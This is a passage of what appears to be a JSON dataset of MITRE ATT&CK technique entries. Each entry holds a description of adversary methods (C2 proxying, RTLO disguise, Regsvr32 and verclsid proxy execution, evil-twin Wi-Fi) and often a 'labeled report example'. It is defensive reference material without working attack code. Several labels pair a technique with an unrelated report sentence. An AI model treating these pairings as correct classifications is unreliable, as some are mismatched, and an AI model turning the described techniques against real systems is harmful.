Windows, macOS\nLabeled report example: * Threat actors created a detailed, legitimate looking “Privacy Tools” website to trick victims into downloading malware." + }, + { + "id": "T1573", + "text": "ATT&CK technique: T1573 Encrypted Channel\nDescription: Adversaries may employ an encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: SSL inspection is advisable to detect and block such threats using SSL to hide their malicious intent." + }, + { + "id": "T1589", + "text": "ATT&CK technique: T1589 Gather Victim Identity Information\nDescription: Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about users could also be enumerated via other active means (i.e. Active Scanning) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames. Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: Phishing or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE\nLabeled report example: Figure 8: Multiple possible skimmer domains resolving to the same IP address." + }, + { + "id": "T1140", + "text": "ATT&CK technique: T1140 Deobfuscate/Decode Files or Information\nDescription: Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system. One such example is the use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. Another example is using the Windows copy /b or type command to reassemble binary fragments into a malicious payload. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.\nTactics: stealth\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: The decoded content shown in Figure 5 uses the meta-refresh tag to redirect the user to the target credential phishing site." + }, + { + "id": "T1583", + "text": "ATT&CK technique: T1583 Acquire Infrastructure\nDescription: Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Some infrastructure providers offer free trial periods, enabling infrastructure acquisition at limited to no cost. Additionally, botnets are available for rent or purchase. Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support Proxy, including from residential proxy services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.\nTactics: resource development\nPlatforms: PRE\nLabeled report example: Lab52 hypothesis is that attackers compromise routers with default credentials and use them as a frontend for their real command and control server." + }, + { + "id": "T1027", + "text": "ATT&CK technique: T1027 Obfuscated Files or Information\nDescription: Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and Deobfuscate/Decode Files or Information for User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. Adversaries may also use compressed or archived scripts, such as JavaScript. Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. Adversaries may also abuse Command Obfuscation to obscure commands executed from payloads or directly via Command and Scripting Interpreter. Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms.\nTactics: stealth\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: Figure 6: Obfuscated skimmer script." + }, + { + "id": "T1059", + "text": "ATT&CK technique: T1059 Command and Scripting Interpreter\nDescription: Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell. There are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic. Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.\nTactics: execution\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: The attacker serves JavaScript using legitimate-looking domains in an attempt to make the traffic look benign." + }, + { + "id": "T1571", + "text": "ATT&CK technique: T1571 Non-Standard Port\nDescription: Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088 or port 587 as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data. Adversaries may also make changes to victim systems to abuse non-standard ports. For example, Registry keys and other configuration settings can be used to modify protocol and port pairings.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: The network communication in this case is also produced by HTTP to the domain **micorsoft[.]store** to the port tcp/2082." + }, + { + "id": "T1189", + "text": "ATT&CK technique: T1189 Drive-by Compromise\nDescription: Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. Multiple ways of delivering exploit code to a browser exist (i.e., Drive-by Target), including: * A legitimate website is compromised, allowing adversaries to inject malicious code * Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary * Malicious ads are paid for and served through legitimate ad providers (i.e., Malvertising) * Built-in web application interfaces that allow user-controllable content are leveraged for the insertion of malicious scripts or iFrames (e.g., cross-site scripting) Browser push notifications may also be abused by adversaries and leveraged for malicious code injection via User Execution. By clicking \"allow\" on browser push notifications, users may be granting a website permission to run JavaScript code on their browser. Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or a particular region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring. Typical drive-by compromise process: 1. A user visits a website that is used to host the adversary controlled content. 2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. The user may be required to assist in this process by enabling scripting, notifications, or active website components and ignoring warning dialog boxes. 3. Upon finding a vulnerable version, exploit code is delivered to the browser. 4. If exploitation is successful, the adversary will gain code execution on the user's system unless other protections are in place. In some cases, a second visit to the website after the initial scan is required before exploit code is delivered. Unlike Exploit Public-Facing Application, the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\nTactics: initial access\nPlatforms: Identity Provider, Linux, Windows, macOS\nLabeled report example: The full list of web injects for this Osiris instance is shown [here](https://pastebin.com/tTxmjA1K)." + }, + { + "id": "T1587", + "text": "ATT&CK technique: T1587 Develop Capabilities\nDescription: Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle. As with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.\nTactics: resource development\nPlatforms: PRE\nLabeled report example: The regime also developed a remote access tool for Android and iPhone mobile devices as part of a project dubbed Project 220." + }, + { + "id": "T1090.002", + "text": "ATT&CK technique: T1090.002 External Proxy\nDescription: Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion. External connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1132", + "text": "ATT&CK technique: T1132 Data Encoding\nDescription: Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems. Some data encoding systems may also result in data compression, such as gzip.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: The skimmer script has a Base64-encoded fake payment page and skimmed data is sent to the attacker-controlled domain." + }, + { + "id": "T1090.001", + "text": "ATT&CK technique: T1090.001 Internal Proxy\nDescription: Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment. By using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1557.004", + "text": "ATT&CK technique: T1557.004 Evil Twin\nDescription: Adversaries may host seemingly genuine Wi-Fi access points to deceive users into connecting to malicious networks as a way of supporting follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or Input Capture. By using a Service Set Identifier (SSID) of a legitimate Wi-Fi network, fraudulent Wi-Fi access points may trick devices or users into connecting to malicious Wi-Fi networks. Adversaries may provide a stronger signal strength or block access to Wi-Fi access points to coerce or entice victim devices into connecting to malicious networks. A Wi-Fi Pineapple – a network security auditing and penetration testing tool – may be deployed in Evil Twin attacks for ease of use and broader range. Custom certificates may be used in an attempt to intercept HTTPS traffic. Similarly, adversaries may also listen for client devices sending probe requests for known or previously connected networks (Preferred Network Lists or PNLs). When a malicious access point receives a probe request, adversaries can respond with the same SSID to imitate the trusted, known network. Victim devices are led to believe the responding access point is from their PNL and initiate a connection to the fraudulent network. Upon logging into the malicious Wi-Fi access point, a user may be directed to a fake login page or captive portal webpage to capture the victim’s credentials. Once a user is logged into the fraudulent Wi-Fi network, the adversary may able to monitor network activity, manipulate data, or steal additional credentials. Locations with high concentrations of public Wi-Fi access, such as airports, coffee shops, or libraries, may be targets for adversaries to set up illegitimate Wi-Fi access points.\nTactics: collection, credential access\nPlatforms: Network Devices" + }, + { + "id": "T1555", + "text": "ATT&CK technique: T1555 Credentials from Password Stores\nDescription: Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.\nTactics: credential access\nPlatforms: IaaS, Linux, Windows, macOS\nLabeled report example: **SOAP over HTTP for C&C**" + }, + { + "id": "T1090.003", + "text": "ATT&CK technique: T1090.003 Multi-hop Proxy\nDescription: Adversaries may chain together multiple proxies to disguise the source of malicious traffic. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source. For example, adversaries may construct or use onion routing networks – such as the publicly available Tor network – to transport encrypted C2 traffic through a compromised population, allowing communication with any device within the network. Adversaries may also use operational relay box (ORB) networks composed of virtual private servers (VPS), Internet of Things (IoT) devices, smart devices, and end-of-life routers to obfuscate their operations. In the case of network infrastructure, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain (i.e., Network Devices). By leveraging Patch System Image on routers, adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This method is dependent upon the Network Boundary Bridging method allowing the adversaries to cross the protected network boundary of the Internet perimeter and into the organization’s Wide-Area Network (WAN). Protocols such as ICMP may be used as a transport. Similarly, adversaries may abuse peer-to-peer (P2P) and blockchain-oriented infrastructure to implement routing between a decentralized network of peers.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1127", + "text": "ATT&CK technique: T1127 Trusted Developer Utilities Proxy Execution\nDescription: Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions. Smart App Control is a feature of Windows that blocks applications it considers potentially malicious from running by verifying unsigned applications against a known safe list from a Microsoft cloud service before executing them. However, adversaries may leverage \"reputation hijacking\" to abuse an operating system’s trust of safe, signed applications that support the execution of arbitrary code. By leveraging Trusted Developer Utilities Proxy Execution to run their malicious code, adversaries may bypass Smart App Control protections.\nTactics: execution, stealth\nPlatforms: Windows" + }, + { + "id": "T1102", + "text": "ATT&CK technique: T1102 Web Service\nDescription: Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites, cloud services, and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google, Microsoft, or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1567", + "text": "ATT&CK technique: T1567 Exfiltration Over Web Service\nDescription: Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services. Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.\nTactics: exfiltration\nPlatforms: ESXi, Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1665", + "text": "ATT&CK technique: T1665 Hide Infrastructure\nDescription: Adversaries may manipulate network traffic in order to hide and evade detection of their C2 infrastructure. This can be accomplished by identifying and filtering traffic from defensive tools, masking malicious domains to obfuscate the true destination from both automated scanning tools and security researchers, and otherwise hiding malicious artifacts to delay discovery and prolong the effectiveness of adversary infrastructure that could otherwise be identified, blocked, or taken down entirely. C2 networks may include the use of Proxy or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. For example, an adversary may use a virtual private cloud to spoof their IP address to closer align with a victim's IP address ranges. This may also bypass security measures relying on geolocation of the source IP address. Adversaries may also attempt to filter network traffic in order to evade defensive tools in numerous ways, including blocking/redirecting common incident responder or security appliance user agents. Filtering traffic based on IP and geo-fencing may also avoid automated sandboxing or researcher activity (i.e., Virtualization/Sandbox Evasion). Hiding C2 infrastructure may also be supported by Resource Development activities such as Acquire Infrastructure and Compromise Infrastructure. For example, using widely trusted hosting services or domains such as prominent URL shortening providers or marketing services for C2 networks may enable adversaries to present benign content that later redirects victims to malicious web pages or infrastructure once specific conditions are met.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1036.002", + "text": "ATT&CK technique: T1036.002 Right-to-Left Override\nDescription: Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named March 25 \\u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\\u202Egnp.js will be displayed as photo_high_resj.png. Adversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with Spearphishing Attachment/Malicious File since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity. RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.\nTactics: stealth\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1102.003", + "text": "ATT&CK technique: T1102.003 One-Way Communication\nDescription: Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1102.002", + "text": "ATT&CK technique: T1102.002 Bidirectional Communication\nDescription: Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1659", + "text": "ATT&CK technique: T1659 Content Injection\nDescription: Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., Drive-by Target followed by Drive-by Compromise), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., Ingress Tool Transfer) and other data to already compromised systems. Adversaries may inject content to victim systems in various ways, including: * From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from Adversary-in-the-Middle, which describes AiTM activity solely within an enterprise environment) * From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server Content injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with \"lawful interception.\"\nTactics: command and control, initial access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1218.010", + "text": "ATT&CK technique: T1218.010 Regsvr32\nDescription: Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. Malicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. This variation of the technique is often referred to as a \"Squiblydoo\" and has been used in campaigns targeting governments. Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via Component Object Model Hijacking.\nTactics: stealth\nPlatforms: Windows" + }, + { + "id": "T1056.003", + "text": "ATT&CK technique: T1056.003 Web Portal Capture\nDescription: Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1104", + "text": "ATT&CK technique: T1104 Multi-Stage Channels\nDescription: Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult. Remote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features. The different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or Fallback Channels in case the original first-stage communication path is discovered and blocked.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1001.003", + "text": "ATT&CK technique: T1001.003 Protocol or Service Impersonation\nDescription: Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic. Adversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. Adversaries may also leverage legitimate protocols to impersonate expected web traffic or trusted services. For example, adversaries may manipulate HTTP headers, URI endpoints, SSL certificates, and transmitted data to disguise C2 communications or mimic legitimate services such as Gmail, Google Drive, and Yahoo Messenger.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1204.005", + "text": "ATT&CK technique: T1204.005 Malicious Library\nDescription: Adversaries may rely on a user installing a malicious library to facilitate execution. Threat actors may Upload Malware to package managers such as NPM and PyPi, as well as to public code repositories such as GitHub. User may install libraries without realizing they are malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that establishes persistence, steals data, or mines cryptocurrency. In some cases, threat actors may compromise and backdoor existing popular libraries (i.e., Compromise Software Dependencies and Development Tools). Alternatively, they may create entirely new packages and leverage behaviors such as typosquatting to encourage users to install them.\nTactics: execution\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1216", + "text": "ATT&CK technique: T1216 System Script Proxy Execution\nDescription: Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.\nTactics: stealth\nPlatforms: Windows" + }, + { + "id": "T1496.004", + "text": "ATT&CK technique: T1496.004 Cloud Service Hijacking\nDescription: Adversaries may leverage compromised software-as-a-service (SaaS) applications to complete resource-intensive tasks, which may impact hosted service availability. For example, adversaries may leverage email and messaging services, such as AWS Simple Email Service (SES), AWS Simple Notification Service (SNS), SendGrid, and Twilio, in order to send large quantities of spam / Phishing emails and SMS messages. Alternatively, they may engage in LLMJacking by leveraging reverse proxies to hijack the power of cloud-hosted AI models. In some cases, adversaries may leverage services that the victim is already using. In others, particularly when the service is part of a larger cloud platform, they may first enable the service. Leveraging SaaS applications may cause the victim to incur significant financial costs, use up service quotas, and otherwise impact availability.\nTactics: impact\nPlatforms: SaaS" + }, + { + "id": "T1205.002", + "text": "ATT&CK technique: T1205.002 Socket Filters\nDescription: Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the `libpcap` library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell. To establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria. Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. Communication with these socket filters may also be used in conjunction with Protocol Tunneling. Filters can be installed on any Unix-like platform with `libpcap` installed or on Windows hosts using `Winpcap`. Adversaries may use either `libpcap` with `pcap_setfilter` or the standard library function `setsockopt` with `SO_ATTACH_FILTER` options. Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage.\nTactics: command and control, persistence, stealth\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1102.001", + "text": "ATT&CK technique: T1102.001 Dead Drop Resolver\nDescription: Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. Use of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1218", + "text": "ATT&CK technique: T1218 System Binary Proxy Execution\nDescription: Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system. Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands. Similarly, on Linux systems adversaries may abuse trusted binaries such as split to proxy execution of malicious commands.\nTactics: stealth\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1596.004", + "text": "ATT&CK technique: T1596.004 CDNs\nDescription: Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region. Adversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Drive-by Compromise).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1127.003", + "text": "ATT&CK technique: T1127.003 JamPlus\nDescription: Adversaries may use `JamPlus` to proxy the execution of a malicious script. `JamPlus` is a build utility tool for code and data build systems. It works with several popular compilers and can be used for generating workspaces in code editors such as Visual Studio. Adversaries may abuse the `JamPlus` build utility to execute malicious scripts via a `.jam` file, which describes the build process and required dependencies. Because the malicious script is executed from a reputable developer tool, it may subvert application control security systems such as Smart App Control.\nTactics: execution, stealth\nPlatforms: Windows" + }, + { + "id": "T1218.012", + "text": "ATT&CK technique: T1218.012 Verclsid\nDescription: Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell. Adversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running verclsid.exe /S /C {CLSID}, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to Regsvr32). Since the binary may be signed and/or native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.\nTactics: stealth\nPlatforms: Windows" + }, + { + "id": "T1021.003", + "text": "ATT&CK technique: T1021.003 Distributed Component Object Model\nDescription: Adversaries may use Valid Accounts to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user. The Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology. Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. By default, only Administrators may remotely activate and launch COM objects through DCOM. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications as well as other Windows objects that contain insecure methods. DCOM can also execute macros in existing documents and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application, bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with Windows Management Instrumentation.\nTactics: lateral movement\nPlatforms: Windows" + }, + { + "id": "T1598.003", + "text": "ATT&CK technique: T1598.003 Spearphishing Link\nDescription: Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing 